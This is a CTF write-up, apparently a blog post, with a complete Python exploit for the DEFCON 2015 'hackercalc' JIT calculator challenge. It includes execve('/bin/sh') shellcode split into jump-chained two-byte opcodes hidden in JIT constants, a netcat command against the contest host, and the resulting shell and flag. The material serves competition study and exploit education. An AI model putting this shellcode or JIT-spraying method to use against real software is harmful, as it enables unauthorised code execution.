DEFCON CTF 2015 hackercalc exploit Posted on 19 May 2015 by Claudio Bozzato Hackercalc is an x86 calculator JIT compiler. Download binary #!/usr/bin/python '''DEFCON CTF 2015 hackercalc exploit.Written by repnzscasb, c00kies@venice. $ (python exploit.py; cat - ) | nc -vv hackercalc_2e9c870a8449603f8d4b748d78993026.quals.shallweplayaga.me 21222Connection to hackercalc_2e9c870a8449603f8d4b748d78993026.quals.shallweplayaga.me 21222 port [tcp/*] succeeded!RUa rir1 -rP0nDdSSPr.rnsT koaL nr0:e-oEt U eo nNr Oex oonnTpOEpywiduid=1001(hackercalc) gid=1001(hackercalc) groups=1001(hackercalc)cat /home/hackercalc/flagThe flag is: Congratulations!!! strfry! hackercalc! x86jit! hatec++RE! givemesymbolsnexttime!''' from struct import unpack def toint(s): return unpack('<I', s)[0] # Shellcode from http://shell-storm.org/shellcode/files/shellcode-752.php.# Modified to use two-bytes opcodes only.shellcode = [ "\x31\xc9", # xor ecx, ecx "\xf7\xe1", # mul ecx "\x51", # push ecx "\xb4\x68", # mov ah, 0x68 "\xb0\x73", # mov al, 0x73 "\x66\x50", # push ax "\xb4\x2f", # mov ah, 0x2f "\xb0\x6e", # mov al, 0x6e "\x66\x50", # push ax "\xb4\x69", # mov ah, 0x69 "\xb0\x62", # mov al, 0x62 "\x66\x50", # push ax "\xb4\x2f", # mov ah, 0x2f "\xb0\x2f", # mov al, 0x2f "\x66\x50", # push ax "\x89\xe3", # mov ebx, esp "\x31\xc0", # xor eax, eax "\xb0\x0b", # mov al, 11 "\xcd\x80", # int 0x80] # Only 3 bytes will be written at this point, so we skip to the next shellcode instruction# \x00 is paddingjskip = "\x00" + "\xeb\x08" + "\x00"jskip = toint(jskip) # Build the shellcode using 4-bytes blocks like <2-bytes opcode><2-bytes jmp next opcode> jnext = "\xeb\x07"code = ""for o in shellcode: asm = o.ljust(2, "\x90") + jnext code += "\tx = {:d}\n".format(toint(asm)) # Build the payloadpayload = '''func b1(x)func b2(x)func b3(x)func b4(x)func b5(x)func b6(x)func b7(x)func a(x)\tb1((b1(0)||{:d}||){}run a(0)'''.format(jskip, code) print(payload) This is the generated calculator program which calls execve(“/bin/sh”): func b1(x)func b2(x)func b3(x)func b4(x)func b5(x)func b6(x)func b7(x)func a(x) b1((b1(0)||584448||) x = 132892977 x = 132899319 x = 132878417 x = 132868276 x = 132871088 x = 132862054 x = 132853684 x = 132869808 x = 132862054 x = 132868532 x = 132866736 x = 132862054 x = 132853684 x = 132853680 x = 132862054 x = 132899721 x = 132890673 x = 132844464 x = 132874445 run a(0)